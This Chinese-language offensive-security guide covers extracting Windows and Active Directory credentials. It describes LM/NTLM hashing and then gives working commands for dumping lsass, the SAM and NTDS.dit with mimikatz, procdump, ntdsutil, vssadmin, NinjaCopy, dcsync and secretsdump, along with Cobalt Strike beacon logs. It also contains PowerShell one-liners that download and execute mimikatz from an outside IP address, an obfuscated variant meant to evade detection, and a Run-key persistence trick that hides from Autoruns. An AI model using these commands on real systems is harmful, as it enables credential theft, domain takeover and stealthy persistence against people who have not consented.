Windows密碼憑證獲取

Windows HASH

HASH簡介

hash ,一般翻譯做散列,或音譯為哈希,所謂哈希,就是使用一種加密函數進行計算后的結果。這個
加密函數對一個任意長度的字符串數據進行一次數學加密函數運算,然后返回一個固定長度的字符串。
這種轉換是一種壓縮映射,也就是,散列值的空間通常遠小于輸入的空間,不同的輸入可能會散列成相
同的輸出,所以不可能從散列值來確定唯一的輸入值。簡單的說就是一種將任意長度的消息壓縮到某一
固定長度的消息摘要的函數。

windows HASH簡介

Windows 加密過的密碼口令,我們稱之為 hash
Windows 系統使用兩種方法對用戶的密碼進行哈希處理,它們分別是 LAN Manager LM 哈希和 NT
LAN Manager NTLM 哈希。
現在已經有了更新的 NTLMv2 以及 Kerberos 驗證體系。

LM-HASH

LM-HASH簡介

LAN Manager LM )哈希是 Windows 系統所用的第一種密碼哈希算法,是一種較古老的 Hash ,在 LAN Manager協議中使用,非常容易通過暴力破解獲取明文憑據。
它只有唯一一個版本且一直用到了 NT LAN Manager NTLM 哈希的出現,
Windows XP / Windows Server 2003 之前, 它是 Windows 上占主導地位的密碼存儲算法。
Windows Vista / Windows Server 2008 開始,默認情況下已禁用該算法。
LM 算法是在 DES 基礎上實現的,不區分字母大小寫。

LM-HASH生成原理

假設用戶密碼為: password
1. 將用戶密碼所有字符轉換為大寫: PASSWORD
2. 密碼長度不足 14 個字符將用 0 填充到 14 個字符
3. 14 個字符將被分成兩半: PASSWOR D000000
4. 將每一半轉換為位,并且每 7 位之后將添加一個奇偶校驗位 (0) ,因此結果為 64 位: 1101000011 - > 1101000 0 011 ,在將這些奇偶校驗位相加之后,我們將從兩個預先生成的兩半中獲得兩個密鑰 5. 分別用生成的兩個密鑰作為 key KGS!@#$% 進行 DES 加密: PASSWOR =E52CAC67419A9A22
D000000 = 4A3B108F3FA6CB6D
6. 將加密后的兩組拼接在一起,得到 LM HASH 值: E52CAC67419A9A22 4A3B108F3FA6CB6D
使用 python 得到 LM HASH 值:
python3 -c "from passlib.hash import lmhash;print(lmhash.hash('password'))"
#coding=utf-8
import re
import binascii
from pyDes import *
def DesEncrypt ( str , Des_Key ):
k = des ( binascii . a2b_hex ( Des_Key ), ECB , pad = None )
EncryptStr = k . encrypt ( str )
return binascii . b2a_hex ( EncryptStr )
def group_just ( length , text ):
# text 00110001001100100011001100110100001101010011011000000000
text_area = re . findall ( r'.{%d}' % int ( length ), text ) # ['0011000',
'1001100', '1000110', '0110011', '0100001', '1010100', '1101100', '0000000']
text_area_padding = [ i + '0' for i in text_area ] #['00110000', '10011000',
'10001100', '01100110', '01000010', '10101000', '11011000', '00000000']
hex_str = '' . join ( text_area_padding ) #
0011000010011000100011000110011001000010101010001101100000000000
hex_int = hex ( int ( hex_str , 2 ))[ 2 :]. rstrip ( "L" ) #30988c6642a8d800
if hex_int == '0' :
hex_int = '0000000000000000'
return hex_int
def lm_hash ( password ):
# 1. 用戶的密碼轉換為大寫,密碼轉換為 16 進制字符串,不足 14 字節將會用 0 來再后面補全。
pass_hex = password . upper (). encode ( "hex" ). ljust ( 28 , '0' )
#3132333435360000000000000000
print ( pass_hex )
# 2. 密碼的 16 進制字符串被分成兩個 7byte 部分。每部分轉換成比特流,并且長度位 56bit ,長度不足
使用 0 在左邊補齊長度
left_str = pass_hex [: 14 ] #31323334353600
right_str = pass_hex [ 14 :] #00000000000000
left_stream = bin ( int ( left_str , 16 )). lstrip ( '0b' ). rjust ( 56 , '0' ) #
00110001001100100011001100110100001101010011011000000000
right_stream = bin ( int ( right_str , 16 )). lstrip ( '0b' ). rjust ( 56 , '0' ) #
00000000000000000000000000000000000000000000000000000000
# 3. 再分 7bit 為一組 , 每組末尾加 0 ,再組成一組
left_stream = group_just ( 7 , left_stream ) # 30988c6642a8d800
right_stream = group_just ( 7 , right_stream ) # 0000000000000000
# 4. 上步驟得到的二組,分別作為 key "KGS!@#$%" 進行 DES 加密。
left_lm = DesEncrypt ( 'KGS!@#$%' , left_stream ) #44efce164ab921ca
right_lm = DesEncrypt ( 'KGS!@#$%' , right_stream ) # aad3b435b51404ee
# 5. 將加密后的兩組拼接在一起,得到最終 LM HASH 值。
return left_lm + right_lm
if __name__ == '__main__' :
hash = lm_hash ( "123456" )

LM-HASH缺點

1. 密碼長度最大只能為 14 個字符
2. 密碼不區分大小寫
3. 如果密碼強度是小于 7 位,那么第二個分組加密后的結果肯定是 aad3b435b51404ee ,如果我們看到 lm hash 的結尾是 aad3b435b51404ee ,就可以很輕易的發現密碼強度少于 7
4. 一個 14 個字符的密碼分成 7+7 個字符,并且分別為這兩個半部分計算哈希值。這種計算哈希值的方式使破解難度成倍增加,因為攻擊者需要將7 個字符(而不是 14 個字符)強制暴力破解。這使得 14 個字符的密碼的有效強度等于,或者是7 個字符的密碼的兩倍,該密碼的復雜度明顯低于 14 個字符的密碼的理論強度
5. DES 密碼強度不高

NTLM-HASH

NTLM-HASH簡介

NT LAN Manager NTLM 哈希是 Windows 系統認可的另一種算法,用于替代古老的 LM-Hash ,一般指
Windows 系統下 Security Account Manager SAM 中保存的用戶密碼 hash ,在 Windows
Vista/Windows 7/Windows Server 2008 以及后面的系統中, NTLM 哈希算法默認啟用。

NTLM-HASH生成原理

1. 先將用戶密碼轉換為十六進制格式。
2. 將十六進制格式的密碼進行 Unicode 編碼。
3. 使用 MD4 摘要算法對 Unicode 編碼數據進行 Hash 計算

HASH格式

Windows 的系統密碼 hash 默認情況下一般由兩部分組成:
第一部分是 LM - hash ,第二部分是 NTLM- hash 。
LM 哈希密碼最大長度為 14 ,密碼長度超過 14 位使用 NTLM 哈希
前面三個系統,當密碼超過14 位的時候會采用 NTLM 加密
前一部分是 LM Hash ,后一部分是 NTLM Hash
python2 - c "import hashlib,binascii;print
binascii.hexlify(hashlib.new('md4','123456'.encode('utf-16le')).digest())"
python3 - c "import
hashlib,binascii;print(binascii.hexlify(hashlib.new('md4','123456'.encode('utf-
16le')).digest()).decode())"
用戶名稱 :RID:LM-HASH :NTLM-HASH
test:1003:E52CAC67419A9A22664345140A852F61:67A54E1C9058FCA16498061B96863248::: LM Hash AAD3B435B51404EEAAD3B435B51404EE 這表示 空密碼或者是未使用 LM_HASH

HASH存儲位置

windows hash 一般存儲在兩個地方:
SAM 文件,存儲在本機,對應本地用戶
NTDS.DIT 文件,存儲在域控上,對應域用戶
文件位置:
SAM
C:\windows\system32\config\SAM
NTDS.DIT
C:\windows\NTDS\NTDS.dit

Windows認證基礎

Windows 的認證包括三個部分:
本地認證:用戶直接操作計算機登錄賬戶
網絡認證:遠程連接到工作組中的某個設備
域認證:登陸到域環境中的某個設備

Windows本地認證

1. 用戶輸入密碼
2. 系統收到密碼后將用戶輸入的密碼計算成 NTLM Hash
3. sam 數據庫( %SystemRoot%\system32\config\sam )中該用戶的哈希比對
4. 匹配則登陸成功,不匹配則登陸失敗
NTLM 哈希,是一種單向哈希算法, Windows 將用戶的密碼計算成 NTLM 哈希之后才存儲在電腦中。
本地認證中用來處理用戶輸入密碼的進程為 lsass.exe , 密碼會在這個進程中明文保存,供該進程將密碼計算成 NTLM Hash sam 進行比對,我們使用 mimikatz 來獲取的明文密碼,便是在這個進程中讀取到的

Windows網絡認證

網絡認證即在工作組環境下遠程登陸另一臺電腦所采用的認證機制
NTLM 協議的認證過程分為三步,也叫挑戰相應機制:

1. 協商

雙方確定使用的協議版本, NTLM 存在 V1 V2 兩個版本,即 Net - NTLM v1 hash Net - NTLM v2
hash ,具體區別就是加密方式不同
NTLM 認證中, NTLM 響應分為 NTLM v1 NTLMv2 NTLM session v2 三種協議,不同協議使用不同格式的 Challenge 和加密算法
SAM
C:\windows\system32\config\SAM
NTDS.DIT
C:\windows\NTDS\NTDS.dit

2. 質詢

挑戰( Chalenge / 響應( Response )認證機制的核心
1. 客戶端向服務器端發送用戶信息 ( 用戶名 ) 請求
2. 服務器接受到請求后,判斷本地用戶列表是否存在客戶端發送的用戶名,如果沒有返回認證失敗,如果有,生成一個16 位的隨機數,被稱之為 " Challenge " , 然后使用登錄用戶名對應的 NTLM Hash 加密 Challenge(16 位隨機字符 ) , 生成 Challenge1 保存在內存中。同時,生成 Challenge1 后,將 Challenge (16 位隨機字符 ) 明文發送給客戶端。
3. 客戶端接受到 Challenge 后,使用自己提供的賬戶的密碼轉換成對應的 NTLM Hash ,然后使用這個 NTLM Hash 加密 Challenge 生成 Response ,然后將 Response 發送至服務器端。

3. 驗證

在質詢完成后,驗證結果,是認證的最后一步。
服務端收到客戶端發送的 Response 后,與之前保存在內存中的 Channelge1 比較,如果相等認證通過
其中,經過 NTLM Hash 加密 Challenge 的結果在網絡協議中稱之為 Net NTLM Hash (不能直接用來進行哈希傳遞攻擊,但可以通過暴力破解來獲取明文密碼)
其中的關鍵點在于:第二步中客戶端發送的是 NTLM 哈希值與隨機字符串加密的結果,而這個 NTLM 哈希是由用戶輸入的密碼本地計算得出的,所以在這個步驟中,只要能提供正確的 NTLM 哈希即使不知道正確的密碼也可通過認證

net-ntlm hash破解

NTLMv2 的格式為:
username::domain:challenge:HMAC-MD5:blob
hashcat -m 5600 net-ntlm /tmp/password.list -o found.txt --force
-m hash-type 5600 對應 NetNTLMv2
詳細參數可查表: https://hashcat.net/wiki/doku.php?
-o :輸出文件 字典文件為 /tmp/password.list
--force :代表強制執行,測試系統不支持 Intel OpenCL

Windows密碼憑證獲取

系統用戶憑證獲取

mimikatz
mimikatz for Win10 下載:
https://github.com/gentilkiwi/mimikatz/releases
本地非交互式憑證獲取:
mimikatz.exe "log res.txt" "privilege::debug" "token::elevate" "lsadump::sam" "exit"
mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"
2.0
privilege::debug // 提升權限
sekurlsa::logonpasswords // 抓取密碼
1.X
privilege::debug // 提升權限
inject::process lsass.exe sekurlsa.dll ? // 注入 sekurlsa.dll lsass.exe 進程里
@getLogonPasswords ? ? // 獲取密碼
mimikatz.exe
privilege::debug
token::elevate
lsadump::sam
lsadump::secrets
exit

Powershell腳本

https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.p
s1
https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.p
s1
https://raw.githubusercontent.com/Mr-xn/Penetration_Testing_POC/master/tools/Invoke-Mi
mikatz.ps1
Powershell 本地加載 mimikatz 腳本:
powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command
'"privilege::debug" "sekurlsa::logonPasswords full"'
powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command
'"privilege::debug" "token::elevate" "lsadump::sam"'
Powershell 遠程加載 mimikatz 腳本
powershell IEX (New-Object
Net.WebClient).DownloadString('http://47.101.214.85:8000/Invoke
Mimikatz.ps1');Invoke-Mimikatz –DumpCreds
powershell 混淆
powershell -c " ('IEX '+'(Ne'+'w-O'+'bject
Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'47.101.214'+'
.85:8000/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke
Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"
Powershell 加載 Get-PassHashes 腳本:
https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.p
s1
powershell IEX(new-object
net.webclient).downloadstring('http://47.101.214.85:8000/Get
PassHashes.ps1');Get-PassHashes

procdump+mimikatz

Procdump 下載: https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
Procdump lsass 進程導出 :
For 32bits
procdump.exe -accepteula -ma lsass.exe lsass.dmp
For 64bits
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
然后使用 mimikatz 還原密碼:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

注冊表導出Hash

reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY security.hiv
mimikatz
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit
impacket
https://github.com/SecureAuthCorp/impacket/tree/master/examples

LaZagne

https://github.com/AlessandroZ/LaZagne
pip3 install -r requirements.txt
# 如果提示找不到 Crypto 模塊, 就到 pip 包安裝位置
C:\Users\[User]\AppData\Roaming\Python\Python38\site-packages
crypto 文件夾重命名為 Crypto

Meterpreter獲取Hash

Hashdump
use post/windows/gather/hashdump //system 權限的 meterpreter
set session 1
exploit // 結果保存在 tmp 目錄下
use post/windows/gather/smart_hashdump
set session 1
exploit
Hash 格式: 用戶名稱 :RID:LM - HASH :NTLM - HASH
Mimikatz
Hashdump 使用的是 mimikatz 的部分功能
load mimikatz ? // 加載模塊
wdigest kerberos msv ssp tspkg livessp ? // 獲取用戶密碼的 hash
mimikatz_command -h
mimikatz_command -f :: ? // 查詢有哪些模塊
mimikatz_command -f samdump::hashes ? // windows sam 文件中讀取密碼 hash
mimikatz_command -f sekurlsa::searchPasswords ? // 獲取明文密碼
mimikatz_command -f samdump::bootkey
# msf6
load kiwi
help kiwi
creds_all // 列舉系統中的明文密碼
lsa_dump_sam // 讀取 sam 文件
kiwi_cmd sekurlsa::logonpasswords //kiwi_cmd 命令后面接 mimikatz 的命令

CobaltStrike獲取Hash

beacon> hashdump
beacon> logonpasswords
beacon> mimikatz sekurlsa::logonpasswords

其他密碼憑證獲取

1 RDP連接密碼解密

mimikatz
查看本地機器本地連接過的目標機器。
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
/s
查看本地用戶此目錄下是否存有 RDP密碼文件
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
1E85A94EE31F584E484B8120E3ADA266
9D4E7B34E2541E8AB9F716D127DFFC87
AAAD88ECA44F5AAA1754B5E18F7EB12D
DFBE70A7E5CC19A398EBF1B96859CE5D
E05DBE15D38053457F3523A375594044
查看保存在本地的遠程主機信息
cmdkey /list
選擇一個密碼文件對其進行解密。
此處需要記錄下 guidMasterKey 的值,待會要通過 guidMasterKey 找對應的 Masterkey
privilege::debug
dpapi::cred
/in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\1E85A94EE31F584E484B8120E
3ADA266
guidMasterKey : {34dc48bb-0af9-4925-bf07-f54ba502a40a}
根據 guidMasterKey 找到對應的 Masterkey
sekurlsa::dpapi
通過 Masterkey 解密 pbData 數據,拿到明文 RDP 連接密碼
dpapi::cred
/in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\1E85A94EE31F584E484B8120E
3ADA266
/masterkey:f391aa638da6b6d846685f84660ee638bd6d3122214de34285b4dd3bd827a5c3925c5
bd7a448c175457c19b2556c9f6f5248ef9256060a5b74c1264d3a5a99f8
netpass
https://www.nirsoft.net/x64_download_package.html
https://www.nirsoft.net/packages/x64tools.zip nirsoft123!
Powershell腳本獲取RDP連接記錄
https://github.com/3gstudent/List-RDP-Connections-History.git
Cobaltstrike
beacon> shell reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server
Client\Servers" /s
[*] Tasked beacon to run: reg query
"HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
[+] host called home, sent: 113 bytes
[+] received output:
HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\10.10.10.6
? UsernameHint ? REG_SZ ? MINGY\Administrator
beacon> shell dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
[*] Tasked beacon to run: dir /a
%userprofile%\AppData\Local\Microsoft\Credentials\*
[+] host called home, sent: 89 bytes
[+] received output:
驅動器 C 中的卷沒有標簽。
卷的序列號是 C883-5B4B
C:\Users\Administrator\AppData\Local\Microsoft\Credentials 的目錄
2020/09/04 13:24 ? <DIR> ? ? ? ? .
2020/09/04 13:24 ? <DIR> ? ? ? ? ..
2020/09/04 13:24 ? ? ? ? ? ? ? 434 8CAC243098BA9DDD4EAB58433B85D7F0 ? ? ? ? ? ? ? 1 個文件 ? ? ? ? ? 434 字節
? ? ? ? ? ? ? 2 個目錄 56,959,107,072 可用字節
beacon> shell cmdkey /list
[*] Tasked beacon to run: cmdkey /list
[+] host called home, sent: 43 bytes
[+] received output:
當前保存的憑據 :
目標 : Domain:target=TERMSRV/10.10.10.6
類型 : 域密碼
用戶 : WIN7-1\administrator
本地機器持續時間
目標 : LegacyGeneric:target=MINGY\WIN7-1
類型 : 普通
用戶 : MINGY\WIN7-1
目標 : LegacyGeneric:target=WIN7-1\Administrator
類型 : 普通
用戶 : WIN7-1\Administrator

2 Mysql數據庫密碼破解

一旦獲取了網站一定的權限后,如果能夠獲取 MySQL 中保存用戶數據,通過解密后,即可通過正常途徑
來訪問數據庫;一方面可以直接操作數據庫中的數據,另一方面可以用來提升權限。
MySQL 數據庫用戶密碼跟其它數據庫用戶密碼一樣,在應用系統代碼中都是以明文出現的,在獲取文件
讀取權限后即可直接從數據庫連接文件中讀取
一般都包含有數據庫類型,物理位置,用戶名和密碼等信息
1. MYSQL數據庫文件類型
MYSQL 數據庫文件共有 frm MYD MYI 三種文件
".frm" 是描述表結構的文件
".MYD" 是表的數據文件
".MYI" 是表數據文件中任何索引的數據樹
一般是單獨存在一個文件夾中
與用戶有關的一共有三個文件即 user.frm user.MYD user.MYI MYSQL 數據庫用戶密碼都保存
user.MYD 文件中,包括 root 用戶和其他用戶的密碼。
2. Mysql加密方式
MYSQL 數據庫的認證密碼有兩種方式
MYSQL 4.1 版本之前是 MYSQL323 加密, MYSQL 4.1 和之后的版本都是 MYSQLSHA1 加密
MYSQL 數據庫中自帶 Old_Password(str) Password(str) 函數 , 它們均可以在 MYSQL 數據庫里進
行查詢,前者是 MYSQL323 加密,后者是 MYSQLSHA1 方式加密。
mysql> select Password('root');
+-------------------------------------------+
| Password('root') ? ? ? ? ? ? ? ? ? ? ? ? |
+-------------------------------------------+
| *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
+-------------------------------------------+
1 row in set
mimikatz "privilege::debug" "dpapi::cred
/in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\8CAC243098BA9DDD4EAB58433
B85D7F0" "exit" MYSQL323 加密中生成的是 16 位字符串,而在 MYSQLSHA1 中生成的是 41 位字符串,其中 * 是不加入實際
的密碼運算中, MYSQLSHA1 加密的密碼的實際位數是 40
3. 獲取Mysql數據庫密碼hash
winhex 編輯器打開 user.MYD 文件,使用二進制模式查看,即可得到密碼 Hash值:81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
4. Hash破解
在線網站破解
www.cmd5.com
www.somd5.com
hashcat 破解
hashcat.exe -m 300 -a 3 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
john the ripper 破解
john --list=format | grep mysql
john --format=mysql-sha1 mysql.hash
Cain 破解

3 其他應用程序密碼破解

https://github.com/uknowsec/SharpDecryptPwd
對密碼已保存在 Windwos 系統上的部分程序進行解析 , 包括:
Navicat,TeamViewer,FileZilla,WinSCP,Xmangager 系列產品( Xshell,Xftp)
源碼:
https://github.com/RowTeam/SharpDecryptPwd

域內密碼憑證獲取

Ntds.dit

活動目錄數據庫( NTDS.DIT
Ntds.dit 是主要的 AD 數據庫,包括有關域用戶,組和組成員身份的信息。它還包括域中所有用戶的密碼哈希值。為了進一步保護密碼哈希值,使用存儲在 SYSTEM 注冊表配置單元中的密鑰對這些哈希值進行加密。第二個加密步驟是為了執行密碼轉儲以進行審計,需要兩個文件的副本。
非域環境也就是在工作組環境中,有一個 sam 文件存儲著當前主機用戶的密碼信息,想要破解 sam 文件與ntds.dit 文件都需要擁有一個 system 文件。
AD DS 數據存儲:
Ntds.dit 文件構成
默認存儲在所有域控制器上的 %SystemRoot%\NTDS 文件夾中
只能通過域控制器進程和協議訪問
Ntds.dit ( 也被稱為 Active Directory database) 包含了當前域中所有的用戶的賬號信息,和其 HASH 值通過獲取 Ntds.dit SYSTEM 文件的副本,最可靠的執行密碼審計的方法是脫機的。 由于 Windows 阻止這些操作阻止標準讀取或復制,因此必須使用特殊技術來獲取副本。
ntds.dit 文件位置 : C:\Windows\NTDS\NTDS.dit
system 文件位置 :C:\Windows\System32\config\SYSTEM
sam 文件位置 :C:\Windows\System32\config\SAM

1 活動目錄數據庫

NTDS.DIT 文件構成,是 Active Directory 的核心
存儲在域控的 %SystemRoot%\ntds\ 文件夾下
只能通過域控制器進程和協議訪問
在工作組環境中, SAM 文件存儲著當前主機用戶的密碼哈希值
在域環境中, NTDS.DIT 文件存儲了域中所有用戶的密碼哈希值
因此我們可以通過獲取到這兩個文件,然后破解得到其中所存儲的密碼哈希值。
Windows 系統為了進一步保護存儲的密碼哈希值,使用存儲在 SYSTEM 注冊表配置單元中的密鑰對這些哈希值進行加密。
因此想要破解 SAM 文件與 NTDS.DIT 文件都需要獲取一個 SYSTEM 文件。
由于 Window 會阻止對這些文件的標準讀取或復制操作,如果直接去復制 NTDS.DIT 文件,會提示文件被系統占用,所以常規的復制下載方法是無法獲取到文件副本的,因此需要通過特殊方法來獲取。

2 Volume Shadow Copy

Volume Shadow Copy Service
Volume Shadow Copy Service 卷影復制服務( VSS )是微軟從 Windows XP 開始提供的用于創建一
致性的時間點副本(也就是快照)的服務框架。用于更好的備份和還原關鍵業務數據。當所有組件都支持VSS 時,可以使用它們來備份應用程序數據,而無需使應用程序脫機。
用于數據備份
支持 Windows Server 2003 及以上操作系統
系統默認在特定條件下自動創建數據備份,如補丁安裝后。在 Win7 系統大概每隔一周自動創建備
份,該時間無法確定
禁用 VSS 會影響系統正常使用,如 System Restore Windows Server Backup
我們可以利用 Volume Shadow Copy Service 來獲取 NTDS.DIT SAM SYSTEM 等文件副本。
注意:
1. 調用 Volume Shadow Copy 服務會產生 SYSTEM 日志, Event ID 7036
2. 執行 ntdsutil snapshot "activate instance ntds" create quit quit 會額外產生 Event
ID 98 的日志
hash 數量:所有用戶
免殺:不需要
優點:
獲得信息全面
簡單高效
無需下載 ntds.dit ,隱蔽性高

3 Ntdsutil

域環境默認安裝
支持系統:
Server 2003
Server 2008
Server 2012

3.1 交互式

ntdsutil
snapshot
activate instance ntds
create
mount [GUID]
//copy 完之后再執行
unmout [GUID]
del [GUID]
1. 以管理員身份打開命令提示符( cmd.exe
2. 在命令提示符輸入 ntdsutil 命令
3. ntdsutil 提示符下輸入
activate instance ntds
ifm
create full <Drive>:\<Folder>
<Drive>:\<Folder> 是要創建文件的文件夾路徑。

3.2 非交互

ntdsutil snapshot "activate instance ntds" create quit quit
ntdsutil snapshot "mount {GUID}" quit quit
copy MOUNT_POINT\windows\ntds\ntds.dit c:\temp\ntds.dit
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit
3.2.1 查詢當前系統的快照
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit

3.2.2 創建快照
ntdsutil snapshot "activate instance ntds" create quit quit
guid {daee5123 - b284 - 47fe - b02e - 6e67e8d80fb1}
3.2.3 掛載快照
ntdsutil snapshot "mount {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit
快照掛載為 C:\$SNAP_201908291617_VOLUMEC$\
3.2.4 復制ntds.dit
copy C:\$SNAP_202008271744_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds2.dit
3.2.5 卸載快照
ntdsutil snapshot "unmount {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit
3.2.6 刪除快照
ntdsutil snapshot "delete {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit

4 Vssadmin

域環境默認安裝
支持系統:
Server 2008
Server 2012

4.1 查詢當前系統的快照

vssadmin list shadows

4.2 創建快照

vssadmin create shadow /for=c:

獲得 Shadow Copy Volume Name \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10

4.3 復制ntds.dit

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10\windows\NTDS\ntds.dit
c:\ntds3.dit

4.4 刪除快照

vssadmin delete shadows /for=c: /quiet

5 Vshadow

Vshadow (? vshadow.exe ?) 是用于管理卷影副本的命令行實用程序。此工具包含在 Microsoft
Windows Software Development Kit (SDK) 中,有 Microsoft 簽名。
Vshadow 有很多功能,包括執行腳本和調用命令以支持卷影快照管理的能力。

5.1 查詢當前系統的快照

vshadow.exe -q

5.2 創建快照

vshadow.exe -p -nw C:
參數說明:
-p persistent ,備份操作或是重啟系統不會刪除
-nw no writers ,用來提高創建速度
C: 對應 c
獲得 SnapshotSetID SnapshotID Shadow copy device name

5.3 復制ntds.dit

copy [Shadow copy device name]\windows\ntds\ntds.dit c:\ntds.dit

5.4 刪除快照

vshadow -dx=ShadowCopySetId
vshadow -ds=ShadowCopyId

5.5 利用vshadow執行命令

參考: https://bohops.com/2018/02/10/vshadow-abusing-the-volume-shadow-service-for-ev
asion-persistence-and-active-directory-database-extraction/
Vshadow.exe 支持 - exec 參數,可用于執行二進制文件( .exe )或腳本( .bat/.cmd )。
-exec 參數不支持命令參數
要求:
管理員權限
上傳 Vshadow.exe
上傳攻擊載荷
執行命令格式:vshadow.exe -nw -exec=<\path\to\exe> < 系統驅動器 >
-nw :允許我們在不調用卷影副本編寫器的情況下創建卷影副本,實際上,這是一個非持久性卷影副本,不會留下“ 物理 磁盤證據
執行命令:
beacon> shell vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c:
[*] Tasked beacon to run: vshadow.exe -nw -exec=c:\windows\system32\notepad.exe
c:
[+] host called home, sent: 87 bytes
成功執行 Vshadow 將啟動卷影服務 (VSS) ,如系統事件 ID 7036 所示,并調用 VSSVC.exe 進程。
執行后,后臺存在進程 VSSVC.exe ,同時顯示服務 Volume Shadow Copy 正在運行,需要手動關閉進程 VSSVC.exe
注:手動關閉進程 VSSVC.exe 會生成日志 7034

5.6 自啟動持久化和規避

利用思路:
vshadow.exe 包含微軟簽名,能繞過某些白名單的限制。如果作為啟動項, Autoruns的默認啟動列表不顯示
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v VSSBackup /t
REG_EXPAND_SZ /d "C:\Program Files (x86)\Windows
Kits\10\bin\10.0.16299.0\x64\vshadow.exe -nw -
exec=c:\windows\system32\notepad.exe c:"
AutoRuns 中,當過濾 “Microsoft Entries” 時,我們將 不到我們的登錄條目
但是,如果我們取消選擇 “Microsoft Entries” 并啟用 “Windows Entries” ,我們將看到我們的持久性機制的記錄

6 NinjaCopy

下載地址: https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltra
tion/Invoke-NinjaCopy.ps1
Import-Module .\invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination
.\sam.hive
Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination
.\system.hive
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination
"C:\Users\Administrator\Desktop\ntds.dit"
beacon> powershell-import C:\Users\MINGY\Desktop\Invoke-NinjaCopy.ps1
[*] Tasked beacon to import: C:\Users\MINGY\Desktop\Invoke-NinjaCopy.ps1
[+] host called home, sent: 206740 bytes
beacon> powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -
LocalDestination c:\sam.hive
[*] Tasked beacon to run: Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -
LocalDestination c:\sam.hive
[+] host called home, sent: 493 bytes
beacon> powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -
LocalDestination c:\system.hive
[*] Tasked beacon to run: Invoke-NinjaCopy -Path
C:\Windows\System32\config\SYSTEM -LocalDestination c:\system.hive
[+] host called home, sent: 509 bytes
beacon> powershell Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -
LocalDestination C:\ntds.dit
[*] Tasked beacon to run: Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -
LocalDestination C:\ntds.dit
[+] host called home, sent: 481 bytes 沒有調用 Volume Shadow Copy 服務,因此不會產生日志

7 解密NTDS.DIT文件

7.1 Mimikatz在線破解

在線破解,不用將域控上的 ntds.dit 文件下載下來,直接在已有的 shell 上破解。
有一個 cs 彈回的 beacon ,就可以在 beacon 中直接利用 mimikatz 來破解,這一切的前提是有管理員權限Mimikatz有一個功能( dcsync ),它可以利用目錄復制服務( Directory Replication Service, DRS )從NTDS.DIT文件中提取密碼哈希值。
使用 Mimikatz dcsync 功能,可以利用目錄復制服務( Directory Replication Service, DRS )從
NTDS.DIT 文件中提取密碼哈希值。
在獲得管理員權限后,通過 Cobaltstrike 彈回的 beacon 利用 mimikatz 模塊進行密碼 Hash 提取。
獲取 mingy 域內所有用戶Hash
lsadump::dcsync /domain:mingy.com /all /csv
查看單個用戶的詳細信息
mimikatz lsadump::dcsync /domain:mingy.com /user:krbtgt
查看所有用戶的詳細信息
mimikatz lsadump::lsa /inject

7.2 離線破解

離線破解一般需要兩步,首先就是將遠端域控的 ntds.dit 下載到本地,然后再在本地進行破解。
ntds.dit 文件一直在被 windows 系統使用,所以常規的復制下載方法是無法將文件下載到本地的。
首先將域控的 NTDS.DIT SYSTEM 文件下載到本地,然后在本地進行破解。
QuarksPwDump
QuarksPwDump 是一款用于 Windows 用戶憑據提取的開源工具,它可以抓取 windows 平臺下多種類型
的用戶憑據,包括:本地帳戶、域帳戶、緩存的域帳戶和 Bitlocker
1. 修復復制出來的數據庫
esentutl /p /o ntds.dit 2. 使用 QuarksPwDump 直接讀取信息并將結果導出至文件
QuarksPwDump.exe --dump-hash-domain --output mingy.com.txt --ntds-file ntds.dit
SecretsDump
通過 impacket 套件中的 secretsdump.py 腳本
secretsdump.exe -sam sam.hiv -security security.hiv -system sys.hiv LOCAL
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL NtdsAudit
https://github.com/Dionach/NtdsAudit

8 擴展

1. 日志文件
